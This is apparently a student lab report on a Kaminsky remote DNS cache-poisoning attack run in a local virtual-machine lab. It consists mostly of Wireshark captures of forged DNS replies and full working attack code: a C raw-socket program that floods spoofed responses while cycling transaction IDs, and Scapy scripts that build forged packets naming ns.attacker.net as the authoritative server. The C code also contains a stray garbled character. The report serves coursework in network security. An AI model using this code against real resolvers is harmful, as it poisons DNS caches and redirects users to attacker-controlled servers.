

LAB 6: Remote DNS Attack Lab

TASK 1: Remote Cache Poisoning

TASK 1.1: Spoofing DNS request

```
[04/02/19]\Shenava@VM:~/.../dns$ sudo ./dns
```

We run the udp code from source port given as client and the destination port given as the DNS server.

Here we try to trigger the target DNS server to send out DNS queries, so we can spoof the DNS replies.

In the below screenshots we notice that the queries can trigger the target DNS server to send out DNS queries on behalf of us.

| | | | | | | |
|-------|------------|------------------|-----------|-----------|------|--|
| 4 | 2019-04-02 | 22:28:17.9870418 | 10.0.2.11 | 10.0.2.10 | DNS | 77 Standard query 0x0000 A loieo.example.com |
| 2333 | 2019-04-02 | 22:28:18.0221822 | 10.0.2.10 | 10.0.2.11 | DNS | 134 Standard query response 0x0000 No such name A loieo... |
| 2361 | 2019-04-02 | 22:28:18.0230270 | 10.0.2.11 | 10.0.2.10 | ICMP | 162 Destination unreachable (Port unreachable) |
| 65543 | 2019-04-02 | 22:28:18.7978181 | 10.0.2.11 | 10.0.2.10 | DNS | 77 Standard query 0x0000 A zpsez.example.com |
| 69558 | 2019-04-02 | 22:28:18.8385673 | 10.0.2.10 | 10.0.2.11 | DNS | 134 Standard query response 0x0000 No such name A zpsez... |
| 69559 | 2019-04-02 | 22:28:18.8387560 | 10.0.2.11 | 10.0.2.10 | ICMP | 162 Destination unreachable (Port unreachable) |
| 1310 | 2019-04-02 | 22:28:20.8228578 | 10.0.2.11 | 10.0.2.10 | DNS | 77 Standard query 0x0000 A udggc.example.com |
| 1321 | 2019-04-02 | 22:28:20.8626793 | 10.0.2.10 | 10.0.2.11 | DNS | 134 Standard query response 0x0000 No such name A udggc... |
| 1321 | 2019-04-02 | 22:28:20.8635275 | 10.0.2.11 | 10.0.2.10 | ICMP | 162 Destination unreachable (Port unreachable) |
| 1966 | 2019-04-02 | 22:28:23.0090967 | 10.0.2.11 | 10.0.2.10 | DNS | 77 Standard query 0x0000 A ussuw.example.com |
| 1975 | 2019-04-02 | 22:28:23.0415272 | 10.0.2.10 | 10.0.2.11 | DNS | 134 Standard query response 0x0000 No such name A ussuw... |
| 1975 | 2019-04-02 | 22:28:23.0415303 | 10.0.2.11 | 10.0.2.10 | ICMP | 162 Destination unreachable (Port unreachable) |
| 2621 | 2019-04-02 | 22:28:25.2069121 | 10.0.2.11 | 10.0.2.10 | DNS | 77 Standard query 0x0000 A teerb.example.com |
| 2632 | 2019-04-02 | 22:28:25.2413028 | 10.0.2.10 | 10.0.2.11 | DNS | 134 Standard query response 0x0000 No such name A teerb... |
| 2632 | 2019-04-02 | 22:28:25.2416115 | 10.0.2.11 | 10.0.2.10 | ICMP | 162 Destination unreachable (Port unreachable) |
| 3277 | 2019-04-02 | 22:28:27.3253329 | 10.0.2.11 | 10.0.2.10 | DNS | 77 Standard query 0x0000 A mqj |
| 3287 | 2019-04-02 | 22:28:27.3610304 | 10.0.2.10 | 10.0.2.11 | DNS | 134 Standard query response 0x0000 No such name A mqj S... |
| 3287 | 2019-04-02 | 22:28:27.3612845 | 10.0.2.11 | 10.0.2.10 | ICMP | 162 Destination unreachable (Port unreachable) |
| 3932 | 2019-04-02 | 22:28:29.4906789 | 10.0.2.11 | 10.0.2.10 | DNS | 77 Standard query 0x0000 A <Root> |
| 3943 | 2019-04-02 | 22:28:29.5267916 | 10.0.2.10 | 10.0.2.11 | DNS | 134 Standard query response 0x0000 No such name A <Root... |
| 3943 | 2019-04-02 | 22:28:29.5271703 | 10.0.2.11 | 10.0.2.10 | ICMP | 162 Destination unreachable (Port unreachable) |
| 4587 | 2019-04-02 | 22:28:31.7914038 | 10.0.2.11 | 10.0.2.10 | DNS | 77 Standard query 0x0000 A nkkfq.example.com |
| 4588 | 2019-04-02 | 22:28:31.7916115 | 10.0.2.10 | 10.0.2.11 | DNS | 134 Standard query response 0x0000 No such name A nkkfq... |

▶ Frame 4: 77 bytes on wire (616 bits), 77 bytes captured (616 bits) on interface 0
 ▶ Ethernet II, Src: PcsCompu_f7:cd:28 (08:00:27:f7:cd:28), Dst: PcsCompu_b8:d2:54 (08:00:27:b8:d2:54)
 ▶ Internet Protocol Version 4, Src: 10.0.2.11, Dst: 10.0.2.10
 ▶ User Datagram Protocol, Src Port: 33333, Dst Port: 53

```

0000 08 00 27 b8 d2 54 00 00 27 f7 cd 28 08 00 45 00  ...T.. '...E.
0010 00 3f 00 01 00 00 40 11 62 99 0a 00 02 0b 0a 00  .?...@. b.....
0020 02 0a 82 35 00 35 00 2b 00 00 00 00 01 00 00 01  ...5.5.+ .....
0030 00 00 00 00 00 00 05 6c 6f 69 65 6f 07 65 78 61  ....l oieo.exa
0040 6d 70 6c 65 03 63 6f 6d 00 00 01 00 01         mple.com .....
  
```

TASK 1.2: Spoofing DNS Replies

```
[04/02/19]\Shenava@VM:~/.../dns$ sudo ./dns
```

| No. | Time | Source | Destination | Protocol | Length | Info |
|-----|--------------------------------|---------------|-------------|----------|--------|---|
| 1 | 2019-04-02 22:30:47.2660184... | 10.0.2.11 | 10.0.2.10 | DNS | 77 | Standard query 0x0000 A xljrp.example.com |
| 2 | 2019-04-02 22:30:47.2660612... | 93.184.216.34 | 10.0.2.10 | DNS | 150 | Standard query response 0x0001 A xljrp.example.com A 1... |
| 3 | 2019-04-02 22:30:47.2660864... | 93.184.216.34 | 10.0.2.10 | DNS | 150 | Standard query response 0x0002 A xljrp.example.com A 1... |
| 4 | 2019-04-02 22:30:47.2661101... | 93.184.216.34 | 10.0.2.10 | DNS | 150 | Standard query response 0x0003 A xljrp.example.com A 1... |
| 5 | 2019-04-02 22:30:47.2661430... | 93.184.216.34 | 10.0.2.10 | DNS | 150 | Standard query response 0x0004 A xljrp.example.com A 1... |
| 6 | 2019-04-02 22:30:47.2661765... | 93.184.216.34 | 10.0.2.10 | DNS | 150 | Standard query response 0x0005 A xljrp.example.com A 1... |
| 7 | 2019-04-02 22:30:47.2662070... | 93.184.216.34 | 10.0.2.10 | DNS | 150 | Standard query response 0x0006 A xljrp.example.com A 1... |
| 8 | 2019-04-02 22:30:47.2662398... | 93.184.216.34 | 10.0.2.10 | DNS | 150 | Standard query response 0x0007 A xljrp.example.com A 1... |
| 9 | 2019-04-02 22:30:47.2662737... | 93.184.216.34 | 10.0.2.10 | DNS | 150 | Standard query response 0x0008 A xljrp.example.com A 1... |
| 10 | 2019-04-02 22:30:47.2663086... | 93.184.216.34 | 10.0.2.10 | DNS | 150 | Standard query response 0x0009 A xljrp.example.com A 1... |
| 11 | 2019-04-02 22:30:47.2663413... | 93.184.216.34 | 10.0.2.10 | DNS | 150 | Standard query response 0x000a A xljrp.example.com A 1... |
| 12 | 2019-04-02 22:30:47.2663743... | 93.184.216.34 | 10.0.2.10 | DNS | 150 | Standard query response 0x000b A xljrp.example.com A 1... |
| 13 | 2019-04-02 22:30:47.2664065... | 93.184.216.34 | 10.0.2.10 | DNS | 150 | Standard query response 0x000c A xljrp.example.com A 1... |
| 14 | 2019-04-02 22:30:47.2664347... | 93.184.216.34 | 10.0.2.10 | DNS | 150 | Standard query response 0x000d A xljrp.example.com A 1... |
| 15 | 2019-04-02 22:30:47.2664680... | 93.184.216.34 | 10.0.2.10 | DNS | 150 | Standard query response 0x000e A xljrp.example.com A 1... |

```

▶ Frame 2: 150 bytes on wire (1200 bits), 150 bytes captured (1200 bits) on interface 0
▶ Ethernet II, Src: PcsCompu_f7:cd:28 (08:00:27:f7:cd:28), Dst: PcsCompu_b8:d2:54 (08:00:27:b8:d2:54)
▶ Internet Protocol Version 4, Src: 93.184.216.34, Dst: 10.0.2.10
▶ User Datagram Protocol, Src Port: 53, Dst Port: 33333
▼ Domain Name System (response)
  Transaction ID: 0x0001
  Flags: 0x8400 Standard query response, No error
  Questions: 1
    Answer RRs: 1
    Authority RRs: 1
    Additional RRs: 0
  ▼ Queries
    ▶ xljrp.example.com: type A, class IN
  ▼ Answers
    ▶ xljrp.example.com: type A, class IN, addr 1.2.3.4
  ▼ Authoritative nameservers
    ▶ example.com: type NS, class IN, ns ns.attacker.net

```

We send a spoofed reply from the server to the user. In the above Wireshark screenshot, we notice that our attack is successful.

TASK 1.3: The Kaminsky Attack

```
[04/02/19]\Shenava@VM:~/.../dns$ sudo ./dns
```

We run the code from user to server and notice the below.

| # | Time | Source | Destination | Protocol | Length | Info |
|----|--------------------------------|---------------|-------------|----------|--------|--|
| 1 | 2019-04-02 22:34:10.5988940... | 10.0.2.11 | 10.0.2.10 | DNS | 77 | Standard query 0x0000 A rokfh.example.com ... |
| 2 | 2019-04-02 22:34:10.5989616... | 93.184.216.34 | 10.0.2.10 | DNS | 150 | Standard query response 0x0001 A rokfh.example.com ... |
| 3 | 2019-04-02 22:34:10.5989983... | 93.184.216.34 | 10.0.2.10 | DNS | 150 | Standard query response 0x0002 A rokfh.example.com ... |
| 4 | 2019-04-02 22:34:10.5990339... | 93.184.216.34 | 10.0.2.10 | DNS | 150 | Standard query response 0x0003 A rokfh.example.com ... |
| 5 | 2019-04-02 22:34:10.5990678... | 93.184.216.34 | 10.0.2.10 | DNS | 150 | Standard query response 0x0004 A rokfh.example.com ... |
| 6 | 2019-04-02 22:34:10.5991018... | 93.184.216.34 | 10.0.2.10 | DNS | 150 | Standard query response 0x0005 A rokfh.example.com ... |
| 7 | 2019-04-02 22:34:10.5991347... | 93.184.216.34 | 10.0.2.10 | DNS | 150 | Standard query response 0x0006 A rokfh.example.com ... |
| 8 | 2019-04-02 22:34:10.5991678... | 93.184.216.34 | 10.0.2.10 | DNS | 150 | Standard query response 0x0007 A rokfh.example.com ... |
| 9 | 2019-04-02 22:34:10.5992009... | 93.184.216.34 | 10.0.2.10 | DNS | 150 | Standard query response 0x0008 A rokfh.example.com ... |
| 10 | 2019-04-02 22:34:10.5992338... | 93.184.216.34 | 10.0.2.10 | DNS | 150 | Standard query response 0x0009 A rokfh.example.com ... |
| 11 | 2019-04-02 22:34:10.5993227... | 93.184.216.34 | 10.0.2.10 | DNS | 150 | Standard query response 0x000A A rokfh.example.com ... |
| 12 | 2019-04-02 22:34:10.5994129... | 93.184.216.34 | 10.0.2.10 | DNS | 150 | Standard query response 0x000B A rokfh.example.com ... |
| 13 | 2019-04-02 22:34:10.5994563... | 93.184.216.34 | 10.0.2.10 | DNS | 150 | Standard query response 0x000C A rokfh.example.com ... |
| 14 | 2019-04-02 22:34:10.5994835... | 93.184.216.34 | 10.0.2.10 | DNS | 150 | Standard query response 0x000D A rokfh.example.com ... |
| 15 | 2019-04-02 22:34:10.5995163... | 93.184.216.34 | 10.0.2.10 | DNS | 150 | Standard query response 0x000E A rokfh.example.com ... |

▶ Frame 1: 77 bytes on wire (616 bits), 77 bytes captured (616 bits) on interface 0
 ▶ Ethernet II, Src: PcsCompu_f7:cd:28 (08:00:27:f7:cd:28), Dst: PcsCompu_b8:d2:54 (08:00:27:b8:d2:54)
 ▶ Internet Protocol Version 4, Src: 10.0.2.11, Dst: 10.0.2.10
 ▶ User Datagram Protocol, Src Port: 33333, Dst Port: 53
 ▼ Domain Name System (query)
 [Response In: 790]
 Transaction ID: 0x0000
 Flags: 0x0100 Standard query
 Questions: 1
 Answer RRs: 0
 Authority RRs: 0
 Additional RRs: 0
 ▼ Queries
 ▶ rokfh.example.com: type A, class IN

| | | | | | | |
|---|------------|---------------------|---------------|-----------|------|--|
| 1 | 2019-04-02 | 22:34:10.5988940... | 10.0.2.11 | 10.0.2.10 | DNS | 77 Standard query 0x0000 A rokfh.example.com |
| 2 | 2019-04-02 | 22:34:10.5989616... | 93.184.216.34 | 10.0.2.10 | DNS | 150 Standard query response 0x0001 A rokfh.example.com ... |
| 3 | 2019-04-02 | 22:34:10.5989983... | 93.184.216.34 | 10.0.2.10 | DNS | 150 Standard query response 0x0002 A rokfh.example.com ... |
| 4 | 2019-04-02 | 22:34:10.5990339... | 93.184.216.34 | 10.0.2.10 | DNS | 150 Standard query response 0x0003 A rokfh.example.com ... |
| 5 | 2019-04-02 | 22:34:10.5990678... | 93.184.216.34 | 10.0.2.10 | DNS | 150 Standard query response 0x0004 A rokfh.example.com ... |
| 6 | 2019-04-02 | 22:34:10.5991018... | 93.184.216.34 | 10.0.2.10 | DNS | 150 Standard query response 0x0005 A rokfh.example.com ... |
| 7 | 2019-04-02 | 22:34:10.5991347... | 93.184.216.34 | 10.0.2.10 | DNS | 150 Standard query response 0x0006 A rokfh.example.com ... |
| 8 | 2019-04-02 | 22:34:10.5991678... | 93.184.216.34 | 10.0.2.10 | DNS | 150 Standard query response 0x0007 A rokfh.example.com ... |
| 9 | 2019-04-02 | 22:34:10.5992009... | 93.184.216.34 | 10.0.2.10 | DNS | 150 Standard query response 0x0008 A rokfh.example.com ... |
| 10 | 2019-04-02 | 22:34:10.5992338... | 93.184.216.34 | 10.0.2.10 | DNS | 150 Standard query response 0x0009 A rokfh.example.com ... |
| 11 | 2019-04-02 | 22:34:10.5993227... | 93.184.216.34 | 10.0.2.10 | DNS | 150 Standard query response 0x000a A rokfh.example.com ... |
| 12 | 2019-04-02 | 22:34:10.5994129... | 93.184.216.34 | 10.0.2.10 | DNS | 150 Standard query response 0x000b A rokfh.example.com ... |
| 13 | 2019-04-02 | 22:34:10.5994503... | 93.184.216.34 | 10.0.2.10 | DNS | 150 Standard query response 0x000c A rokfh.example.com ... |
| 14 | 2019-04-02 | 22:34:10.5994835... | 93.184.216.34 | 10.0.2.10 | DNS | 150 Standard query response 0x000d A rokfh.example.com ... |
| 15 | 2019-04-02 | 22:34:10.5995167... | 93.184.216.34 | 10.0.2.10 | DNS | 150 Standard query response 0x000e A rokfh.example.com ... |
| ▶ Frame 2: 150 bytes on wire (1200 bits), 150 bytes captured (1200 bits) on interface 0 ▶ Ethernet II, Src: PcsCompu_f7:cd:28 (08:00:27:f7:cd:28), Dst: PcsCompu_b8:d2:54 (08:00:27:b8:d2:54) ▶ Internet Protocol Version 4, Src: 93.184.216.34, Dst: 10.0.2.10 ▶ User Datagram Protocol, Src Port: 53, Dst Port: 33333 ▼ Domain Name System (response) Transaction ID: 0x0001 Flags: 0x8400 Standard query response, No error Questions: 1 Answer RRs: 1 Authority RRs: 1 Additional RRs: 0 ▼ Queries ▶ rokfh.example.com: type A, class IN ▼ Answers ▶ rokfh.example.com: type A, class IN, addr 1.2.3.4 ▼ Authoritative nameservers ▶ example.com: type NS, class IN, ns ns.attacker.net | | | | | | |
| 777 | 2019-04-02 | 22:34:10.6327253... | 10.0.2.10 | 10.0.2.11 | DNS | 134 Standard query response 0x0000 No such name A rokfh... |
| 790 | 2019-04-02 | 22:34:10.6347011... | 10.0.2.11 | 10.0.2.10 | ICMP | 162 Destination unreachable (Port unreachable) |
| 65549 | 2019-04-02 | 22:34:12.8788428... | 10.0.2.11 | 10.0.2.10 | DNS | 77 Standard query 0x0000 A jwhcg.example.com |
| 66457 | 2019-04-02 | 22:34:12.9119041... | 10.0.2.10 | 10.0.2.11 | DNS | 134 Standard query response 0x0000 No such name A jwhcg... |
| 66468 | 2019-04-02 | 22:34:12.9122685... | 10.0.2.11 | 10.0.2.10 | ICMP | 162 Destination unreachable (Port unreachable) |
| 1310... | 2019-04-02 | 22:34:15.0490062... | 10.0.2.11 | 10.0.2.10 | DNS | 77 Standard query 0x0000 A iuiqt.example.com |
| 1320... | 2019-04-02 | 22:34:15.0837297... | 10.0.2.10 | 10.0.2.11 | DNS | 134 Standard query response 0x0000 No such name A iuiqt... |
| 1320... | 2019-04-02 | 22:34:15.0837339... | 10.0.2.11 | 10.0.2.10 | ICMP | 162 Destination unreachable (Port unreachable) |
| 1966... | 2019-04-02 | 22:34:17.3030891... | 10.0.2.11 | 10.0.2.10 | DNS | 77 Standard query 0x0000 A <Root> |
| 1976... | 2019-04-02 | 22:34:17.3401916... | 10.0.2.10 | 10.0.2.11 | DNS | 134 Standard query response 0x0000 No such name A <Root... |
| 1976... | 2019-04-02 | 22:34:17.3401950... | 10.0.2.11 | 10.0.2.10 | ICMP | 162 Destination unreachable (Port unreachable) |
| 2621... | 2019-04-02 | 22:34:19.5420302... | 10.0.2.11 | 10.0.2.10 | DNS | 77 Standard query 0x0000 A bntbw.example.com |
| 2631... | 2019-04-02 | 22:34:19.5749278... | 10.0.2.10 | 10.0.2.11 | DNS | 134 Standard query response 0x0000 No such name A bntbw... |
| 2631... | 2019-04-02 | 22:34:19.5753108... | 10.0.2.11 | 10.0.2.10 | ICMP | 162 Destination unreachable (Port unreachable) |
| ▶ Frame 777: 134 bytes on wire (1072 bits), 134 bytes captured (1072 bits) on interface 0 ▶ Ethernet II, Src: PcsCompu_b8:d2:54 (08:00:27:b8:d2:54), Dst: PcsCompu_eb:ea:2c (08:00:27:eb:ea:2c) ▶ Internet Protocol Version 4, Src: 10.0.2.10, Dst: 10.0.2.11 ▶ User Datagram Protocol, Src Port: 53, Dst Port: 33333 ▼ Domain Name System (response) [Request In: 1] [Time: 0.033831365 seconds] Transaction ID: 0x0000 Flags: 0x8183 Standard query response, No such name Questions: 1 Answer RRs: 0 Authority RRs: 1 Additional RRs: 0 ▼ Queries ▶ rokfh.example.com: type A, class IN ▼ Authoritative nameservers ▶ example.com: type SOA, class IN, mname sns.dns.icann.org | | | | | | |

When we check our server cache we don't find the required result as we don't have the needed zone files on our local server. But from the above Wireshark screenshot we see our DNS query and response attack is successful.

TASK 2: Result Verification

```
[04/02/19]\Shenava@VM:~/.../dns$ sudo ./dns
```

| | | | | | | |
|----|------------|---------------------|---------------|-----------|-----|----|
| 1 | 2019-04-02 | 22:49:09.6040649... | 10.0.2.11 | 10.0.2.10 | DNS | 7 |
| 2 | 2019-04-02 | 22:49:09.6040962... | 93.184.216.34 | 10.0.2.10 | DNS | 15 |
| 3 | 2019-04-02 | 22:49:09.6041051... | 93.184.216.34 | 10.0.2.10 | DNS | 15 |
| 4 | 2019-04-02 | 22:49:09.6041120... | 93.184.216.34 | 10.0.2.10 | DNS | 15 |
| 5 | 2019-04-02 | 22:49:09.6041204... | 93.184.216.34 | 10.0.2.10 | DNS | 15 |
| 6 | 2019-04-02 | 22:49:09.6041289... | 93.184.216.34 | 10.0.2.10 | DNS | 15 |
| 7 | 2019-04-02 | 22:49:09.6041369... | 93.184.216.34 | 10.0.2.10 | DNS | 15 |
| 8 | 2019-04-02 | 22:49:09.6041449... | 93.184.216.34 | 10.0.2.10 | DNS | 15 |
| 9 | 2019-04-02 | 22:49:09.6041531... | 93.184.216.34 | 10.0.2.10 | DNS | 15 |
| 10 | 2019-04-02 | 22:49:09.6041614... | 93.184.216.34 | 10.0.2.10 | DNS | 15 |

| |
|---|
| ▶ Internet Protocol Version 4, Src: 93.184.216.34, Dst: 10.0.2.10 |
| ▶ User Datagram Protocol, Src Port: 53, Dst Port: 33333 |
| ▼ Domain Name System (response) |
| Transaction ID: 0x0001 |
| ▶ Flags: 0x8400 Standard query response, No error |
| Questions: 1 |
| Answer RRs: 1 |
| Authority RRs: 1 |
| Additional RRs: 0 |
| ▶ Queries |
| ▼ Answers |
| ▶ nfylo.example.com: type A, class IN, addr 1.2.3.4 |
| ▼ Authoritative nameservers |
| ▶ example.com: type NS, class IN, ns ns.attacker.net |

I can see on the Wireshark the attack taking place

When on server the dumpdb file is checked it doesn't show any trace initially and needs hours for execution.

We see trace the attack on Wireshark as shown in the screenshot above.

Code:

Dns.c

```
#include <pcap.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/ip.h>
#include <libnet.h>
#include <errno.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
```

```
#include <string.h>
```

```
struct ipheader {  
    unsigned char iph_ihl:4, iph_ver:4;  
    unsigned char iph_tos;  
    unsigned short int iph_len;  
    unsigned short int iph_ident;  
    //unsigned char iph_flag;  
    unsigned short int iph_offset;  
    unsigned char iph_ttl;  
    unsigned char iph_protocol;  
    unsigned short int iph_chksum;  
    struct in_addr iph_sourceip;  
    struct in_addr iph_destip;  
};
```

```
void main(){  
    char string[5];  
    const char charset[] = "abcdefghijklmnopqrstuvwxyz";  
    srand(time(NULL));  
    //Sending out request and r  
    FILE * f1 = fopen("query.bin", "rb");  
    FILE * f2 = fopen("response.bin", "rb");
```

```
    if(!f1 || !f2){  
        perror("Can't open bin files");  
        exit(0);  
    }
```

```
    struct sockaddr_in dest_query;  
    struct sockaddr_in dest_response;
```

```
    int enable =1;  
    //Create a raw socket  
    int sock = socket(AF_INET,SOCK_RAW,IPPROTO_UDP);
```

```
    setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&enable,sizeof(enable));
```

```
    //Destination info for the query  
    dest_query.sin_family=AF_INET;  
    dest_query.sin_addr.s_addr=inet_addr("10.0.2.10");  
    dest_query.sin_port=htons(53);
```

```
//Destination info for the response
dest_response.sin_family=AF_INET;
dest_response.sin_addr.s_addr=inet_addr("10.0.2.10");
dest_response.sin_port=htons(33333);

//For requests
unsigned char ip1[100];
int q = fread(ip1, 1, 100, f1);
//For responses
unsigned char ip2[200];
int r = fread(ip2, 1, 200, f2);

int x = 0;

while(1){
    for( int i = 0; i < 5; ++i){
        //string[i] = '0' + rand()%72; // starting on '0', ending on '}'
        int key = rand() % (int) (sizeof charset - 1);
        string[i] = charset[key];
    }
    string[5] = '\0';

    //For requests
    memcpy(ip1 + 41, string, 5);

    //For responses
    memcpy(ip2 + 41, string, 5);
    memcpy(ip2 + 64, string, 5);

    printf("%d", x);
    if(sendto(sock,ip1,q, 0,(struct sockaddr *)&dest_query,sizeof(dest_query)) < 0)
    {
        printf("Sending query error");
        close(sock);
        return;
    }
    else{
        //Sending responses
        for(int count = 1; count<65535; count++)
        {a
            unsigned short id[2];
            *id = htons(count);
```

```

        memcpy(ip2+28, (void*)id, 2);
        if(sendto(sock,ip2,r, 0,(struct sockaddr *)&dest_response,sizeof(dest_response)) < 0)
        {
            printf("Sending response error");
            close(sock);
            return;
        }
    }

    printf("sent request %d\n", x);
}

    x++;
}

}

```

Scapy code:

Query.py

```

#!/usr/bin/python
from scapy.all import *

IPpacket = IP(src="10.0.2.11", dst="10.0.2.10")
UDPpacket = UDP(sport=33333, dport=53, checksum=0)
targetName = 'mrudu.example.com'
Querysection = DNSQR(qname=targetName)
DNSpacket = DNS(rd=1, qdcount=1, qd=Querysection)

QueryPacket = IPpacket/UDPpacket/DNSpacket

with open('query.bin','wb') as f:
    f.write(bytes(QueryPacket))

```

response.py

```

#!/usr/bin/python
from scapy.all import *

IPpacket = IP(src="93.184.216.34",dst="10.0.2.10" )
UDPpacket = UDP(sport=53, dport=33333, checksum=0)

targetName = 'mrudu.example.com'
targetDomain = 'example.com'

```

```
Querysection = DNSQR(qname=targetName)
Answersection = DNSRR(rrname=targetName, type='A', rdata='1.2.3.4', ttl=259200)
NSsection = DNSRR(rrname=targetDomain, type='NS', rdata='ns.attacker.net', ttl=259200)
DNSpacket = DNS(id=0xAAAA, aa=1, rd=0, qr=1, qdcount=1, ancourt=1, nscount=1, arcount=0,
qd=Querysection, an=Answersection, ns=NSsection)
Responsepacket = IPpacket/UDPpacket/DNSpacket
with open('response.bin','wb') as f:
    f.write(bytes(Responsepacket))
```